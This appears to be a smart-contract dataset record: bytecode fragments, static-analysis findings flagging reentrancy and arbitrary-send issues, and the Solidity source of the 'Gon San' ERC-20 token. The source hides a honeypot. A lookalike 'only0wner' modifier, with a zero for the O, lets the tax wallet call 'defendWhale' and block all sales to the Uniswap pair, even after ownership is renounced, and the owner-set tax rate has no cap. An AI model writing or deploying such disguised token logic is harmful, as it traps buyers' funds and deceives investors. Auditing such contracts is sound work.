9050565b6000612f3f601183613343565b9150612f4a82613911565b602082019050919050565b612f5e816134a7565b82525050565b612f6d816134b1565b82525050565b6000602082019050612f886000830184612cca565b92915050565b6000604082019050612fa36000830185612cca565b612fb06020830184612cca565b9392505050565b6000604082019050612fcc6000830185612cca565b612fd96020830184612f55565b9392505050565b600060c082019050612ff56000830189612cca565b6130026020830188612f55565b61300f6040830187612d46565b61301c6060830186612d46565b6130296080830185612cca565b61303660a0830184612f55565b979650505050505050565b60006020820190506130566000830184612d37565b92915050565b600060208201905081810360008301526130768184612d55565b905092915050565b6000602082019050818103600083015261309781612d8e565b9050919050565b600060208201905081810360008301526130b781612db1565b9050919050565b600060208201905081810360008301526130d781612dd4565b9050919050565b600060208201905081810360008301526130f781612df7565b9050919050565b6000602082019050818103600083015261311781612e1a565b9050919050565b6000602082019050818103600083015261313781612e3d565b9050919050565b6000602082019050818103600083015261315781612e60565b9050919050565b6000602082019050818103600083015261317781612e83565b9050919050565b6000602082019050818103600083015261319781612ea6565b9050919050565b600060208201905081810360008301526131b781612ec9565b9050919050565b600060208201905081810360008301526131d781612eec565b9050919050565b600060208201905081810360008301526131f781612f0f565b9050919050565b6000602082019050818103600083015261321781612f32565b9050919050565b60006020820190506132336000830184612f55565b92915050565b600060a08201905061324e6000830188612f55565b61325b6020830187612d46565b818103604083015261326d8186612cd9565b905061327c6060830185612cca565b6132896080830184612f55565b9695505050505050565b60006020820190506132a86000830184612f64565b92915050565b60006132b86132c9565b90506132c48282613503565b919050565b6000604051905090565b600067ffffffffffffffff8211156132ee576132ed6135db565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061335f826134a7565b915061336a836134a7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561339f5761339e61357d565b5b828201905092915050565b60006133b5826134a7565b91506133c0836134a7565b9250826133d0576133cf6135ac565b5b828204905092915050565b60006133e6826134a7565b91506133f1836134a7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561342a5761342961357d565b5b828202905092915050565b6000613440826134a7565b915061344b836134a7565b92508282101561345e5761345d61357d565b5b828203905092915050565b600061347482613487565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134c9826134a7565b9050919050565b60005b838110156134ee5780820151818401526020810190506134d3565b838111156134fd576000848401525b50505050565b61350c8261360a565b810181811067ffffffffffffffff8211171561352b5761352a6135db565b5b80604052505050565b600061353f826134a7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156135725761357161357d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f4c697175696469747920616c7265616479206164646564000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61394381613469565b811461394e57600080fd5b50565b61395a8161347b565b811461396557600080fd5b50565b613971816134a7565b811461397c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b1e009a07ec24dde30998e2722218a9822ba1a79829083fef6d527e471124c6b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,086
0xfd9fe42AdbA9a96ef6F9948aD154734F8feAA254
// SPDX-License-Identifier: MIT // Telegram: t.me/gonsaninu pragma solidity ^0.8.7; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed oldie, address indexed newbie); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() , "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0xdead)); _owner = address(0xdead); } } contract GonSan is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 999999999 ; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxRate=8; address payable private _taxWallet; string private constant _name = "Gon San"; string private constant _symbol = "GONSAN"; uint8 private constant _decimals = 0; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _load = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setTaxRate(uint rate) external onlyOwner{ require(rate>=0 ,"Rate must be non-negative"); _taxRate=rate; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _preventSlippage(from,to); _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; _load = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } modifier only0wner() { require(_taxWallet == _msgSender() ); _; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _preventSlippage(address from, address to) private{ if (from != owner() && to != owner()) { if (to == uniswapV2Pair && from != address(uniswapV2Router)) { require( _load>100000); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } } function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, 2, _taxRate); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function defendWhale(uint256 g) external only0wner { _load = g; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d3578063517758d8146101fe57806351bc3c851461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b604051610125919061242b565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fcb565b6103f6565b6040516101629190612410565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d91906125ad565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611f78565b61041e565b6040516101ca9190612410565b60405180910390f35b3480156101df57600080fd5b506101e86104f7565b6040516101f59190612622565b60405180910390f35b34801561020a57600080fd5b5061022560048036038101906102209190612038565b6104fc565b005b34801561023357600080fd5b5061023c610567565b005b34801561024a57600080fd5b5061026560048036038101906102609190611ede565b6105e1565b60405161027291906125ad565b60405180910390f35b34801561028757600080fd5b50610290610632565b005b34801561029e57600080fd5b506102a7610787565b6040516102b49190612342565b60405180910390f35b3480156102c957600080fd5b506102d26107b0565b6040516102df919061242b565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190611fcb565b6107ed565b60405161031c9190612410565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190612038565b61080b565b005b34801561035a57600080fd5b506103636108ee565b005b34801561037157600080fd5b5061038c60048036038101906103879190611f38565b610e0b565b60405161039991906125ad565b60405180910390f35b3480156103ae57600080fd5b506103b7610e92565b005b60606040518060400160405280600781526020017f476f6e2053616e00000000000000000000000000000000000000000000000000815250905090565b600061040a610403610f04565b8484610f0c565b6001905092915050565b6000600454905090565b600061042b8484846110d7565b6104ec84610437610f04565b6104e785604051806060016040528060288152602001612c2660289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049d610f04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112149092919063ffffffff16565b610f0c565b600190509392505050565b600090565b610504610f04565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461055d57600080fd5b80600b8190555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105a8610f04565b73ffffffffffffffffffffffffffffffffffffffff16146105c857600080fd5b60006105d3306105e1565b90506105de81611278565b50565b600061062b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611500565b9050919050565b61063a610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106be9061250d565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f474f4e53414e0000000000000000000000000000000000000000000000000000815250905090565b60006108016107fa610f04565b84846110d7565b6001905092915050565b610813610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108979061250d565b60405180910390fd5b60008110156108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db9061258d565b60405180910390fd5b8060078190555050565b6108f6610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a9061250d565b60405180910390fd5b600a60149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906124ad565b60405180910390fd5b610a0230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600454610f0c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6a57600080fd5b505afa158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa29190611f0b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2657600080fd5b505afa158015610b3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5e9190611f0b565b6040518363ffffffff1660e01b8152600401610b7b92919061235d565b602060405180830381600087803b158015610b9557600080fd5b505af1158015610ba9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcd9190611f0b565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c56306105e1565b600080610c61610787565b426040518863ffffffff1660e01b8152600401610c83969594939291906123af565b6060604051808303818588803b158015610c9c57600080fd5b505af1158015610cb0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd59190612065565b5050506001600a60166101000a81548160ff021916908315150217905550600454600b819055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610db6929190612386565b602060405180830381600087803b158015610dd057600080fd5b505af1158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061200b565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed3610f04565b73ffffffffffffffffffffffffffffffffffffffff1614610ef357600080fd5b6000479050610f018161156e565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f739061256d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe39061248d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ca91906125ad565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113e9061254d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae9061244d565b60405180910390fd5b600081116111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f19061252d565b60405180910390fd5b61120483836115da565b61120f8383836117d5565b505050565b600083831115829061125c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611253919061242b565b60405180910390fd5b506000838561126b9190612773565b9050809150509392505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112b0576112af6128ce565b5b6040519080825280602002602001820160405280156112de5781602001602082028036833780820191505090505b50905030816000815181106112f6576112f561289f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561139857600080fd5b505afa1580156113ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d09190611f0b565b816001815181106113e4576113e361289f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061144b30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f0c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114af9594939291906125c8565b600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b6000600554821115611547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153e9061246d565b60405180910390fd5b60006115516117e5565b9050611566818461181090919063ffffffff16565b915050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115d6573d6000803e3d6000fd5b5050565b6115e2610787565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156116505750611620610787565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156117d157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156117005750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561171757620186a0600b541161171657600080fd5b5b6000611722306105e1565b9050600a60159054906101000a900460ff1615801561178f5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117a75750600a60169054906101000a900460ff165b156117cf576117b581611278565b600047905060008111156117cd576117cc4761156e565b5b505b505b5050565b6117e083838361185a565b505050565b60008060006117f2611a25565b91509150611809818361181090919063ffffffff16565b9250505090565b600061185283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a72565b905092915050565b60008060008060008061186c87611ad5565b9550955095509550955095506118ca86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3c90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061195f85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ab81611be4565b6119b58483611ca1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a1291906125ad565b60405180910390a3505050505050505050565b6000806000600554905060006004549050611a4d60045460055461181090919063ffffffff16565b821015611a6557600554600454935093505050611a6e565b81819350935050505b9091565b60008083118290611ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab0919061242b565b60405180910390fd5b5060008385611ac891906126e8565b9050809150509392505050565b6000806000806000806000806000611af18a6002600754611cdb565b9250925092506000611b016117e5565b90506000806000611b148e878787611d71565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b7e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611214565b905092915050565b6000808284611b959190612692565b905083811015611bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd1906124cd565b60405180910390fd5b8091505092915050565b6000611bee6117e5565b90506000611c058284611dfa90919063ffffffff16565b9050611c5981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cb682600554611b3c90919063ffffffff16565b600581905550611cd181600654611b8690919063ffffffff16565b6006819055505050565b600080600080611d076064611cf9888a611dfa90919063ffffffff16565b61181090919063ffffffff16565b90506000611d316064611d23888b611dfa90919063ffffffff16565b61181090919063ffffffff16565b90506000611d5a82611d4c858c611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d8a8589611dfa90919063ffffffff16565b90506000611da18689611dfa90919063ffffffff16565b90506000611db88789611dfa90919063ffffffff16565b90506000611de182611dd38587611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e0d5760009050611e6f565b60008284611e1b9190612719565b9050828482611e2a91906126e8565b14611e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e61906124ed565b60405180910390fd5b809150505b92915050565b600081359050611e8481612be0565b92915050565b600081519050611e9981612be0565b92915050565b600081519050611eae81612bf7565b92915050565b600081359050611ec381612c0e565b92915050565b600081519050611ed881612c0e565b92915050565b600060208284031215611ef457611ef36128fd565b5b6000611f0284828501611e75565b91505092915050565b600060208284031215611f2157611f206128fd565b5b6000611f2f84828501611e8a565b91505092915050565b60008060408385031215611f4f57611f4e6128fd565b5b6000611f5d85828601611e75565b9250506020611f6e85828601611e75565b9150509250929050565b600080600060608486031215611f9157611f906128fd565b5b6000611f9f86828701611e75565b9350506020611fb086828701611e75565b9250506040611fc186828701611eb4565b9150509250925092565b60008060408385031215611fe257611fe16128fd565b5b6000611ff085828601611e75565b925050602061200185828601611eb4565b9150509250929050565b600060208284031215612021576120206128fd565b5b600061202f84828501611e9f565b91505092915050565b60006020828403121561204e5761204d6128fd565b5b600061205c84828501611eb4565b91505092915050565b60008060006060848603121561207e5761207d6128fd565b5b600061208c86828701611ec9565b935050602061209d86828701611ec9565b92505060406120ae86828701611ec9565b9150509250925092565b60006120c483836120d0565b60208301905092915050565b6120d9816127a7565b82525050565b6120e8816127a7565b82525050565b60006120f98261264d565b6121038185612670565b935061210e8361263d565b8060005b8381101561213f57815161212688826120b8565b975061213183612663565b925050600181019050612112565b5085935050505092915050565b612155816127b9565b82525050565b612164816127fc565b82525050565b600061217582612658565b61217f8185612681565b935061218f81856020860161280e565b61219881612902565b840191505092915050565b60006121b0602383612681565b91506121bb82612913565b604082019050919050565b60006121d3602a83612681565b91506121de82612962565b604082019050919050565b60006121f6602283612681565b9150612201826129b1565b604082019050919050565b6000612219601783612681565b915061222482612a00565b602082019050919050565b600061223c601b83612681565b915061224782612a29565b602082019050919050565b600061225f602183612681565b915061226a82612a52565b604082019050919050565b6000612282602083612681565b915061228d82612aa1565b602082019050919050565b60006122a5602983612681565b91506122b082612aca565b604082019050919050565b60006122c8602583612681565b91506122d382612b19565b604082019050919050565b60006122eb602483612681565b91506122f682612b68565b604082019050919050565b600061230e601983612681565b915061231982612bb7565b602082019050919050565b61232d816127e5565b82525050565b61233c816127ef565b82525050565b600060208201905061235760008301846120df565b92915050565b600060408201905061237260008301856120df565b61237f60208301846120df565b9392505050565b60006040820190506